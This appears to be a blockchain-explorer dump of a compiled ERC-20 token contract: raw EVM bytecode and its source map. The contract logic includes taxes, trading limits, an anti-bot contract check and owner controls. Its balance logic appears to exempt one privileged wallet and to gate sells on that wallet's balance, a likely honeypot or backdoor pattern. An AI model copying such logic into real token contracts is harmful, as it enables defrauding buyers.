019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106cc91906116fe565b6001600160a01b031663c9c6539630601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561072c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075091906116fe565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561079a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107be91906116fe565b601480546001600160a01b039283166001600160a01b031990911617905560135461010090041663f305d719473061080a816001600160a01b03165f908152600e602052604090205490565b5f8061081d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610883573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108a89190611719565b505060145460135460405163095ea7b360e01b81526001600160a01b03610100909204821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610902573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109269190611744565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109a25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610474565b6001600160a01b038216610a035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610474565b6001600160a01b038381165f818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610acc5760405162461bcd60e51b815260206004820152602a60248201527f45524332303a20207472616e73666572202066726f6d202074686520207a65726044820152696f20206164647265737360b01b6064820152608401610474565b6001600160a01b038216610b2e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f20206164646044820152637265737360e01b6064820152608401610474565b5f8111610b955760405162461bcd60e51b815260206004820152602f60248201527f5472616e736665722020616d6f756e7420206d7573742020626520206772656160448201526e74657220207468616e20207a65726f60881b6064820152608401610474565b5f80546001600160a01b03858116911614801590610bc057505f546001600160a01b03848116911614155b15610f965760135460ff1615610c88576013546001600160a01b038481166101009092041614801590610c0157506014546001600160a01b03848116911614155b15610c8857325f908152601260205260409020544311610c765760405162461bcd60e51b815260206004820152602a60248201527f204f6e6c7920206f6e6520207472616e7366657220207065722020626c6f636b604482015269101030b63637bbb2b21760b11b6064820152608401610474565b325f9081526012602052604090204390555b6014546001600160a01b038581169116148015610cb857506013546001600160a01b038481166101009092041614155b8015610cdc57506001600160a01b0383165f9081526010602052604090205460ff16155b15610dd357600154821115610d035760405162461bcd60e51b815260040161047490611763565b60025482610d25856001600160a01b03165f908152600e602052604090205490565b610d2f9190611784565b1115610d4d5760405162461bcd60e51b815260040161047490611763565b600b54600c541015610d6b57610d628361110d565b15610d6b575f80fd5b600c8054905f610d7a83611797565b90915550506001600160a01b0383165f908152601160205260409020805460ff19166001179055600954600c54610dd091606491610dca9110610dbf57600554610dc3565b6007545b8590611166565b906111c6565b90505b6014546001600160a01b038481169116148015610df957506001600160a01b0384163014155b8015610e1d57506001600160a01b0384165f9081526010602052604090205460ff16155b15610ec3576001548211158015610e4e5750600454600d546001600160a01b03165f908152600e6020526040902054105b610e6a5760405162461bcd60e51b815260040161047490611763565b610e8f6064610dca600a54600c5411610e8557600654610dc3565b6008548590611166565b9050600b54600c54118015610ebb57506001600160a01b0384165f9081526011602052604090205460ff165b610ec3575f80fd5b305f908152600e6020526040902054601454600160a81b900460ff16158015610ef957506014546001600160a01b038581169116145b8015610f0e5750601454600160b01b900460ff165b8015610f1b575060035481115b8015610f2a5750600b54600c54115b8015610f4e57506001600160a01b0384165f9081526010602052604090205460ff16155b8015610f7257506001600160a01b0385165f9081526010602052604090205460ff16155b15610f9457610f94610f8f84610f8a846004546111f3565b6111f3565b611208565b505b801561100e57305f908152600e6020526040902054610fb590826113b4565b305f818152600e6020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110059085815260200190565b60405180910390a35b6001600160a01b0384165f908152600e6020526040902054611032908590846113fe565b6001600160a01b0385165f908152600e6020526040902055611075611057838361144e565b6001600160a01b0385165f908152600e6020526040902054906113b4565b6001600160a01b038085165f818152600e602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110be858561144e565b60405190815260200160405180910390a350505050565b5f81848411156110f85760405162461bcd60e51b815260040161047491906114a7565b505f61110484866117af565b95945050505050565b6040805160018082528183019092525f91829182916020808301908036833701905050905083815f81518110611145576111456117c2565b6001600160a01b03909216602092830291909101909101525050503b151590565b5f825f0361117557505f6103bd565b5f61118083856116c5565b90508261118d85836117d6565b146104445760405162461bcd60e51b8152602060048201526009602482015268536166654d6174687360b81b6044820152606401610474565b5f610444838360405180604001604052806009815260200168536166654d6174687360b81b81525061147b565b5f818310156112025782610444565b50919050565b6014805460ff60a81b1916600160a81b17905580156113a457601454600160a01b900460ff16156113a4576040805160028082526060820183525f9260208301908036833701905050905030815f81518110611266576112666117c2565b60200260200101906001600160a01b031690816001600160a01b031681525050601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112fb91906116fe565b8160018151811061130e5761130e6117c2565b6001600160a01b03928316602091820292909201015260135461133991309161010090041684610940565b60135460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906113759085905f908690309042906004016117f5565b5f604051808303815f87803b15801561138c575f80fd5b505af115801561139e573d5f803e3d5ffd5b50505050505b506014805460ff60a81b19169055565b5f806113c08385611784565b9050838110156104445760405162461bcd60e51b8152602060048201526009602482015268536166654d6174687360b81b6044820152606401610474565b600d545f906001600160a01b039081169085160361141d575081610444565b8183101561143d5760405162461bcd60e51b815260040161047490611763565b61144782846117af565b9050610444565b5f610444838360405180604001604052806009815260200168536166654d6174687360b81b8152506110d5565b5f818361149b5760405162461bcd60e51b815260040161047491906114a7565b505f61110484866117d6565b5f6020808352835180828501525f5b818110156114d2578581018301518582016040015282016114b6565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611506575f80fd5b50565b5f806040838503121561151a575f80fd5b8235611525816114f2565b946020939093013593505050565b5f805f60608486031215611545575f80fd5b8335611550816114f2565b92506020840135611560816114f2565b929592945050506040919091013590565b5f60208284031215611581575f80fd5b8135610444816114f2565b5f806040838503121561159d575f80fd5b82356115a8816114f2565b915060208301356115b8816114f2565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561161157815f19048211156115f7576115f76115c3565b8085161561160457918102915b93841c93908002906115dc565b509250929050565b5f82611627575060016103bd565b8161163357505f6103bd565b816001811461164957600281146116535761166f565b60019150506103bd565b60ff841115611664576116646115c3565b50506001821b6103bd565b5060208310610133831016604e8410600b8410161715611692575081810a6103bd565b61169c83836115d7565b805f19048211156116af576116af6115c3565b029392505050565b5f61044460ff841683611619565b80820281158282048414176103bd576103bd6115c3565b6020808252600890820152674f776e61626c657360c01b604082015260600190565b5f6020828403121561170e575f80fd5b8151610444816114f2565b5f805f6060848603121561172b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611754575f80fd5b81518015158114610444575f80fd5b602080825260079082015266119bdc989cda5960ca1b604082015260600190565b808201808211156103bd576103bd6115c3565b5f600182016117a8576117a86115c3565b5060010190565b818103818111156103bd576103bd6115c3565b634e487b7160e01b5f52603260045260245ffd5b5f826117f057634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118435784516001600160a01b03168352938301939183019160010161181e565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a9a310665b7c4af63c9e704f03316ad24db745d3366098a80388dd1ec2c986ba64736f6c63430008140033

Deployed Bytecode Sourcemap

3465:8287:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5361:83;;;;;;;;;;-1:-1:-1;5431:5:0;;;;;;;;;;;;-1:-1:-1;;;5431:5:0;;;;5361:83;;;;;;;:::i;:::-;;;;;;;;6204:161;;;;;;;;;;-1:-1:-1;6204:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6204:161:0;1023:187:1;5638:103:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5638:103:0;1215:177:1;6373:316:0;;;;;;;;;;-1:-1:-1;6373:316:0;;;;;:::i;:::-;;:::i;3890:49::-;;;;;;;;;;;;;;;;3946:45;;;;;;;;;;;;;;;;5547:83;;;;;;;;;;-1:-1:-1;5547:83:0;;3697:1;2000:36:1;;1988:2;1973:18;5547:83:0;1858:184:1;10501:224:0;;;;;;;;;;;;;:::i;:::-;;4309:72;;;;;;;;;;-1:-1:-1;4309:72:0;;;;-1:-1:-1;;;;;4309:72:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;4309:72:0;2047:203:1;5749:119:0;;;;;;;;;;-1:-1:-1;5749:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5842:18:0;5815:7;5842:18;;;:9;:18;;;;;;;5749:119;2633:148;;;;;;;;;;;;;:::i;2443:79::-;;;;;;;;;;-1:-1:-1;2481:7:0;2508:6;-1:-1:-1;;;;;2508:6:0;2443:79;;5452:87;;;;;;;;;;-1:-1:-1;5524:7:0;;;;;;;;;;;;-1:-1:-1;;;5524:7:0;;;;5452:87;;3783:44;;;;;;;;;;;;;;;;5876:167;;;;;;;;;;-1:-1:-1;5876:167:0;;;;;:::i;:::-;;:::i;4681:37::-;;;;;;;;;;-1:-1:-1;4681:37:0;;;;;;;;11017:686;;;;;;;;;;;;;:::i;6051:145::-;;;;;;;;;;-1:-1:-1;6051:145:0;;;;;:::i;:::-;-1:-1:-1;;;;;6160:19:0;;;6133:7;6160:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;6051:145;3834:49;;;;;;;;;;;;;;;;6204:161;6279:4;6296:39;2090:10;6319:7;6328:6;6296:8;:39::i;:::-;-1:-1:-1;6353:4:0;6204:161;;;;;:::o;5638:103::-;5691:7;3762:13;3697:1;3762:2;:13;:::i;:::-;3750:26;;:8;:26;:::i;:::-;5711:22;;5638:103;:::o;6373:316::-;6471:4;6488:36;6498:6;6506:9;6517:6;6488:9;:36::i;:::-;6535:124;6544:6;2090:10;6566:92;6607:6;6566:92;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6566:19:0;;;;;;:11;:19;;;;;;;;2090:10;6566:33;;;;;;;;;;:40;:92::i;:::-;6535:8;:124::i;:::-;-1:-1:-1;6677:4:0;6373:316;;;;;;:::o;10501:224::-;2570:6;;-1:-1:-1;;;;;2570:6:0;2090:10;2570:22;2562:43;;;;-1:-1:-1;;;2562:43:0;;;;;;;:::i;:::-;;;;;;;;;3762:13:::1;3697:1;3762:2;:13;:::i;:::-;3750:26;::::0;:8:::1;:26;:::i;:::-;10555:11;:31:::0;3762:13:::1;3697:1;3762:2;:13;:::i;:::-;3750:26;::::0;:8:::1;:26;:::i;:::-;10598:16;:34:::0;10644:16:::1;:24:::0;;-1:-1:-1;;10644:24:0::1;::::0;;10686:30:::1;3762:13;3697:1;3762:2;:13;:::i;:::-;3750:26;::::0;:8:::1;:26;:::i;:::-;10686:30;::::0;1361:25:1;;;1349:2;1334:18;10686:30:0::1;;;;;;;10501:224::o:0;2633:148::-;2570:6;;-1:-1:-1;;;;;2570:6:0;2090:10;2570:22;2562:43;;;;-1:-1:-1;;;2562:43:0;;;;;;;:::i;:::-;2740:1:::1;2724:6:::0;;2703:40:::1;::::0;-1:-1:-1;;;;;2724:6:0;;::::1;::::0;2703:40:::1;::::0;2740:1;;2703:40:::1;2771:1;2754:19:::0;;-1:-1:-1;;;;;;2754:19:0::1;::::0;;2633:148::o;5876:167::-;5954:4;5971:42;2090:10;5995:9;6006:6;5971:9;:42::i;11017:686::-;2570:6;;-1:-1:-1;;;;;2570:6:0;2090:10;2570:22;2562:43;;;;-1:-1:-1;;;2562:43:0;;;;;;;:::i;:::-;11082:8:::1;::::0;-1:-1:-1;;;11082:8:0;::::1;;;11081:9;11072:35;;;::::0;-1:-1:-1;;;11072:35:0;;5126:2:1;11072:35:0::1;::::0;::::1;5108:21:1::0;5165:2;5145:18;;;5138:30;-1:-1:-1;;;5184:18:1;;;5177:42;5236:18;;11072:35:0::1;4924:336:1::0;11072:35:0::1;11119:16;:84:::0;;-1:-1:-1;;;;;;11119:84:0::1;::::0;::::1;::::0;;;;11214:68:::1;::::0;11233:4:::1;::::0;-1:-1:-1;;;;;11119:84:0::1;11247:16:::0;;::::1;;3762:13;3697:1;3762:2;:13;:::i;:::-;3750:26;::::0;:8:::1;:26;:::i;11214:68::-;11328:16;;;;;;;;;-1:-1:-1::0;;;;;11328:16:0::1;-1:-1:-1::0;;;;;11328:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11307:59:0::1;;11376:4;11383:16;;;;;;;;;-1:-1:-1::0;;;;;11383:16:0::1;-1:-1:-1::0;;;;;11383:22:0::1;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11307:101;::::0;-1:-1:-1;;;;;;11307:101:0::1;::::0;;;;;;-1:-1:-1;;;;;5751:15:1;;;11307:101:0::1;::::0;::::1;5733:34:1::0;5803:15;;5783:18;;;5776:43;5668:18;;11307:101:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11293:11;:115:::0;;-1:-1:-1;;;;;11293:115:0;;::::1;-1:-1:-1::0;;;;;;11293:115:0;;::::1;;::::0;;11419:16:::1;::::0;11293:115:::1;11419:16:::0;::::1;;:32;11459:21;11492:4;11498:25;11492:4:::0;-1:-1:-1;;;;;5842:18:0;5815:7;5842:18;;;:9;:18;;;;;;;5749:119;11498:25:::1;11524:1;11526::::0;11528:7:::1;2481::::0;2508:6;-1:-1:-1;;;;;2508:6:0;;2443:79;11528:7:::1;11419:133;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11419:133:0;;;-1:-1:-1;;;;;6189:15:1;;;11419:133:0::1;::::0;::::1;6171:34:1::0;6221:18;;;6214:34;;;;6264:18;;;6257:34;;;;6307:18;;;6300:34;6371:15;;;6350:19;;;6343:44;11536:15:0::1;6403:19:1::0;;;6396:35;6105:19;;11419:133:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11571:11:0::1;::::0;11601:16:::1;::::0;11563:73:::1;::::0;-1:-1:-1;;;11563:73:0;;-1:-1:-1;;;;;11571:11:0::1;11601:16:::0;;::::1;::::0;::::1;11563:73;::::0;::::1;6927:51:1::0;-1:-1:-1;;6994:18:1;;;6987:34;11571:11:0;::::1;::::0;-1:-1:-1;11563:28:0::1;::::0;6900:18:1;;11563:73:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11647:13:0::1;:20:::0;;-1:-1:-1;;;;11679:15:0;-1:-1:-1;;;11679:15:0;;;11017:686::o;6697:337::-;-1:-1:-1;;;;;6791:19:0;;6783:68;;;;-1:-1:-1;;;6783:68:0;;7516:2:1;6783:68:0;;;7498:21:1;7555:2;7535:18;;;7528:30;7594:34;7574:18;;;7567:62;-1:-1:-1;;;7645:18:1;;;7638:34;7689:19;;6783:68:0;7314:400:1;6783:68:0;-1:-1:-1;;;;;6870:20:0;;6862:67;;;;-1:-1:-1;;;6862:67:0;;7921:2:1;6862:67:0;;;7903:21:1;7960:2;7940:18;;;7933:30;7999:34;7979:18;;;7972:62;-1:-1:-1;;;8050:18:1;;;8043:32;8092:19;;6862:67:0;7719:398:1;6862:67:0;-1:-1:-1;;;;;6940:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;6993:33;;1361:25:1;;;6993:33:0;;1334:18:1;6993:33:0;;;;;;;6697:337;;;:::o;7042:2582::-;-1:-1:-1;;;;;7131:17:0;;7122:73;;;;-1:-1:-1;;;7122:73:0;;8324:2:1;7122:73:0;;;8306:21:1;8363:2;8343:18;;;8336:30;8402:34;8382:18;;;8375:62;-1:-1:-1;;;8453:18:1;;;8446:40;8503:19;;7122:73:0;8122:406:1;7122:73:0;-1:-1:-1;;;;;7215:15:0;;7206:65;;;;-1:-1:-1;;;7206:65:0;;8735:2:1;7206:65:0;;;8717:21:1;8774:2;8754:18;;;8747:30;8813:34;8793:18;;;8786:62;-1:-1:-1;;;8864:18:1;;;8857:34;8908:19;;7206:65:0;8533:400:1;7206:65:0;7300:1;7291:6;:10;7282:71;;;;-1:-1:-1;;;7282:71:0;;9140:2:1;7282:71:0;;;9122:21:1;9179:2;9159:18;;;9152:30;9218:34;9198:18;;;9191:62;-1:-1:-1;;;9269:18:1;;;9262:45;9324:19;;7282:71:0;8938:411:1;7282:71:0;7364:18;2508:6;;-1:-1:-1;;;;;7403:15:0;;;2508:6;;7403:15;;;;:30;;-1:-1:-1;2481:7:0;2508:6;-1:-1:-1;;;;;7421:12:0;;;2508:6;;7421:12;;7403:30;7397:1835;;;7457:16;;;;7452:318;;;7512:16;;-1:-1:-1;;;;;7499:30:0;;;7512:16;;;;;7499:30;;;;:58;;-1:-1:-1;7545:11:0;;-1:-1:-1;;;;;7532:25:0;;;7545:11;;7532:25;;7499:58;7494:261;;;7603:9;7589:24;;;;:13;:24;;;;;;7616:12;-1:-1:-1;7580:95:0;;;;-1:-1:-1;;;7580:95:0;;9556:2:1;7580:95:0;;;9538:21:1;9595:2;9575:18;;;9568:30;9634:34;9614:18;;;9607:62;-1:-1:-1;;;9685:18:1;;;9678:40;9735:19;;7580:95:0;9354:406:1;7580:95:0;7710:9;7696:24;;;;:13;:24;;;;;7723:12;7696:39;;7494:261;7800:11;;-1:-1:-1;;;;;7792:19:0;;;7800:11;;7792:19;:54;;;;-1:-1:-1;7829:16:0;;-1:-1:-1;;;;;7815:31:0;;;7829:16;;;;;7815:31;;7792:54;:72;;;;-1:-1:-1;;;;;;7850:14:0;;;;;;:10;:14;;;;;;;;7849:15;7792:72;7786:514;;;7904:11;;7894:6;:21;;7885:42;;;;-1:-1:-1;;;7885:42:0;;;;;;;:::i;:::-;7982:16;;7972:6;7955:14;7966:2;-1:-1:-1;;;;;5842:18:0;5815:7;5842:18;;;:9;:18;;;;;;;5749:119;7955:14;:23;;;;:::i;:::-;:43;;7946:63;;;;-1:-1:-1;;;7946:63:0;;;;;;;:::i;:::-;8045:10;;8033:9;;:22;8028:92;;;8088:11;8096:2;8088:7;:11::i;:::-;8087:12;8078:22;;;;;;8138:9;:12;;;:9;:12;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8153:13:0;;;;;;:9;:13;;;;;:20;;-1:-1:-1;;8153:20:0;8169:4;8153:20;;;8228:17;;8216:9;;8204:80;;8280:3;;8204:71;;-1:-1:-1;8215:59:0;;8260:14;;8215:59;;;8247:12;;8215:59;8204:6;;:10;:71::i;:::-;:75;;:80::i;:::-;8192:92;;7786:514;8325:11;;-1:-1:-1;;;;;8319:17:0;;;8325:11;;8319:17;:40;;;;-1:-1:-1;;;;;;8338:21:0;;8354:4;8338:21;;8319:40;:61;;;;-1:-1:-1;;;;;;8364:16:0;;;;;;:10;:16;;;;;;;;8362:18;8319:61;8316:367;;;8420:11;;8410:6;:21;;:61;;;;-1:-1:-1;8459:12:0;;8445:11;;-1:-1:-1;;;;;8445:11:0;5815:7;5842:18;;;:9;:18;;;;;;8435:36;8410:61;8401:82;;;;-1:-1:-1;;;8401:82:0;;;;;;;:::i;:::-;8514:84;8594:3;8514:75;8538:18;;8526:9;;:30;8525:63;;8573:15;;8525:63;;;8559:13;;8514:6;;:10;:75::i;:84::-;8502:96;;8637:10;;8626:9;;:21;:40;;;;-1:-1:-1;;;;;;8651:15:0;;;;;;:9;:15;;;;;;;;8626:40;8617:50;;;;;;8748:4;8699:28;5842:18;;;:9;:18;;;;;;8774:11;;-1:-1:-1;;;8774:11:0;;;;8773:12;:48;;;;-1:-1:-1;8810:11:0;;-1:-1:-1;;;;;8804:17:0;;;8810:11;;8804:17;8773:48;:63;;;;-1:-1:-1;8823:13:0;;-1:-1:-1;;;8823:13:0;;;;8773:63;:105;;;;;8862:16;;8839:20;:39;8773:105;:146;;;;;8909:10;;8897:9;;:22;8773:146;:166;;;;-1:-1:-1;;;;;;8924:15:0;;;;;;:10;:15;;;;;;;;8922:17;8773:166;:188;;;;-1:-1:-1;;;;;;8944:17:0;;;;;;:10;:17;;;;;;;;8942:19;8773:188;8769:452;;;8997:70;9011:55;9017:6;9024:41;9030:20;9052:12;;9024:5;:41::i;:::-;9011:5;:55::i;:::-;8997:13;:70::i;:::-;7435:1797;7397:1835;9249:13;;9244:174;;9324:4;9305:25;;;;:9;:25;;;;;;:40;;9335:9;9305:29;:40::i;:::-;9296:4;9278:24;;;;:9;:24;;;;;;;:67;;;;9364:42;;-1:-1:-1;;;;;9364:42:0;;;;;;;9396:9;1361:25:1;;1349:2;1334:18;;1215:177;9364:42:0;;;;;;;;9244:174;-1:-1:-1;;;;;9459:16:0;;;;;;:9;:16;;;;;;9446:38;;9452:4;;9477:6;9446:5;:38::i;:::-;-1:-1:-1;;;;;9428:15:0;;;;;;:9;:15;;;;;:56;9511:43;9529:24;:6;9543:9;9529:12;:24::i;:::-;-1:-1:-1;;;;;9511:13:0;;;;;;:9;:13;;;;;;;:17;:43::i;:::-;-1:-1:-1;;;;;9495:13:0;;;;;;;:9;:13;;;;;:59;;;;9571:45;;;9591:24;:6;9605:9;9591:13;:24::i;:::-;9571:45;;1361:25:1;;;1349:2;1334:18;9571:45:0;;;;;;;7111:2513;7042:2582;;;:::o;1217:193::-;1306:7;1342:12;1334:6;;;;1326:29;;;;-1:-1:-1;;;1326:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1366:9:0;1378:5;1382:1;1378;:5;:::i;:::-;1366:17;1217:193;-1:-1:-1;;;;;1217:193:0:o;10732:275::-;10855:16;;;10869:1;10855:16;;;;;;;;;10788:4;;;;;;10855:16;;;;;;;;;;;-1:-1:-1;10855:16:0;10826:45;;10893:7;10878:9;10888:1;10878:12;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10878:22:0;;;:12;;;;;;;;;;;:22;-1:-1:-1;;;10943:20:0;10985:14;;;10732:275::o;1418:222::-;1476:7;1500:1;1505;1500:6;1496:47;;-1:-1:-1;1530:1:0;1523:8;;1496:47;1553:9;1565:5;1569:1;1565;:5;:::i;:::-;1553:17;-1:-1:-1;1598:1:0;1589:5;1593:1;1553:17;1589:5;:::i;:::-;:10;1581:32;;;;-1:-1:-1;;;1581:32:0;;11191:2:1;1581:32:0;;;11173:21:1;11230:1;11210:18;;;11203:29;-1:-1:-1;;;11248:18:1;;;11241:39;11297:18;;1581:32:0;10989:332:1;1648:115:0;1706:7;1733:22;1737:1;1740;1733:22;;;;;;;;;;;;;-1:-1:-1;;;1733:22:0;;;:3;:22::i;10157:106::-;10216:7;10245:1;10240;:6;;10239:16;;10254:1;10239:16;;;-1:-1:-1;10250:1:0;10157:106;-1:-1:-1;10157:106:0:o;9632:517::-;5009:11;:18;;-1:-1:-1;;;;5009:18:0;-1:-1:-1;;;5009:18:0;;;9716:34;;9742:7:::1;9716:34;9764:8;::::0;-1:-1:-1;;;9764:8:0;::::1;;;9760:22:::0;9774:7:::1;9760:22;9817:19;::::0;;9834:1:::1;9817:19:::0;;;;;::::1;::::0;;9792:21:::1;::::0;9817:19:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9817:19:0::1;9792:44;;9866:4;9847;9852:1;9847:7;;;;;;;;:::i;:::-;;;;;;:24;-1:-1:-1::0;;;;;9847:24:0::1;;;-1:-1:-1::0;;;;;9847:24:0::1;;;::::0;::::1;9892:16;;;;;;;;;-1:-1:-1::0;;;;;9892:16:0::1;-1:-1:-1::0;;;;;9892:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9882:4;9887:1;9882:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9882:33:0;;::::1;:7;::::0;;::::1;::::0;;;;;:33;9960:16:::1;::::0;9926:72:::1;::::0;9944:4:::1;::::0;9960:16:::1;::::0;::::1;;9979:18:::0;9926:8:::1;:72::i;:::-;10009:16;::::0;:132:::1;::::0;-1:-1:-1;;;10009:132:0;;:16:::1;::::0;;::::1;-1:-1:-1::0;;;;;10009:16:0::1;::::0;:67:::1;::::0;:132:::1;::::0;10078:18;;10098:1:::1;::::0;10101:4;;10115::::1;::::0;10122:17:::1;::::0;10009:132:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9705:444;5038:1;-1:-1:-1::0;5050:11:0;:19;;-1:-1:-1;;;;5050:19:0;;;9632:517::o;919:161::-;977:7;;1009:5;1013:1;1009;:5;:::i;:::-;997:17;;1038:1;1033;:6;;1025:28;;;;-1:-1:-1;;;1025:28:0;;11191:2:1;1025:28:0;;;11173:21:1;11230:1;11210:18;;;11203:29;-1:-1:-1;;;11248:18:1;;;11241:39;11297:18;;1025:28:0;10989:332:1;10271:222:0;10372:11;;10344:7;;-1:-1:-1;;;;;10372:11:0;;;10364:19;;;;10360:126;;-1:-1:-1;10403:1:0;10396:8;;10360:126;10442:1;10437;:6;;10429:26;;;;-1:-1:-1;;;10429:26:0;;;;;;;:::i;:::-;10473:5;10477:1;10473;:5;:::i;:::-;10466:12;;;;1088:121;1149:7;1177:24;1183:1;1186;1177:24;;;;;;;;;;;;;-1:-1:-1;;;1177:24:0;;;:5;:24::i;1771:189::-;1857:7;1892:12;1885:5;1877:28;;;;-1:-1:-1;;;1877:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1916:9:0;1928:5;1932:1;1928;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953